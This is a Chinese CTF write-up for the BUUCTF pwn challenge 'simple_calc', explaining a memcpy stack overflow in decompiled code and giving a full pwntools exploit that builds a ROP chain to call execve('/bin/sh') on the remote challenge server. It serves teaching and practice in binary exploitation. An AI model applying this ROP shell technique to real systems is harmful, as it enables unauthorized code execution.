[BUUCTF-pwn] simple_calc_2016

先看漏点:

        正常情况下,5退出直接return 0或者free再return就行了,这里还有个memcpy,v29是堆指针,v26在栈内。v26的定义是rbp-40h 64位系统写8个qword就到一般rbp后边就是ret而允许写的数是0x100/2个,明显的溢出,只需要写9个然后写rop即可。

char v26[40]; // [rsp+10h] [rbp-40h] BYREF
.......
       case 1:
          adds((__int64)"%d", (int)&v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4A88;
          break;
        case 2:
          subs((__int64)"%d", (int)&v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4AB8;
          break;
        case 3:
          muls((__int64)"%d", (int)&v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4AA8;
          break;
        case 4:
          divs((__int64)"%d", (int)&v27, v22, v23, v24, v25);
          v14 = (_DWORD *)(v29 + 4LL * i);
          *v14 = dword_6C4A98;
          break;
        case 5:
          memcpy(v26, v29, 4 * v28);            // 将堆的内宾复制到栈中,导致栈溢出
          free(v29);
          return 0;
        default:
          v13 = "Invalid option.\n";
          puts("Invalid option.\n");
          break;

系统用的是静态编译,程序很长,里边有能找到的所有元素pop 的rdi,rax,rsi,rdx,只是/bin/sh有点麻烦,需要自己写。这里用execve的话rdi需要指向/bin/sh而并不知道栈地址,所以一个办法就是指rsp,rsp指向的是当前指令的下一个位置只要有一条call后边放/bin/sh 也就是mov rdi,rsp ...syscall; /bin/sh 这里找到一个

0x0000000000492468 : mov rdi, rsp ; call r12

再将r12置为syscall即可

完整exp:

from pwn import *


#p = process('./pwn')
p = remote('node4.buuoj.cn', 28600 )

def write(n):
    n += 100
    p.sendlineafter(b'=> ', b'2')
    p.sendlineafter(b"Integer x: ", str(n & 0xffffffff).encode())
    p.sendlineafter(b"Integer y: ", b'100')
    p.sendlineafter(b'=> ', b'2')
    p.sendlineafter(b"Integer x: ", str((n >> 32) + 100).encode())
    p.sendlineafter(b"Integer y: ", b'100')
    
context.log_level = 'debug'

mov_rdi_rsp_call_r12 = 0x0000000000492468 #: mov rdi, rsp ; call r12
pop_rdx_rsi = 0x0000000000437aa9 #: pop rdx ; pop rsi ; ret
pop_rax     = 0x000000000044db34 #: pop rax ; ret
pop_r12     = 0x0000000000400493 #: pop r12 ; ret
syscall     = 0x0000000000400488 #: syscall

p.sendlineafter(b"Expected number of calculations: ", b'255')

#rdx=0 rsi=0 rax=0x3b rdi=rsp=/bin/sh r12=syscall
[write(0) for i in range(9)]
write(pop_rdx_rsi)
write(0)
write(0)
write(pop_rax)
write(0x3b)
write(pop_r12)
write(syscall)
write(mov_rdi_rsp_call_r12)
write(int(b'/bin/sh'[::-1].hex(),16))

p.sendlineafter(b'=> ', b'5')

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值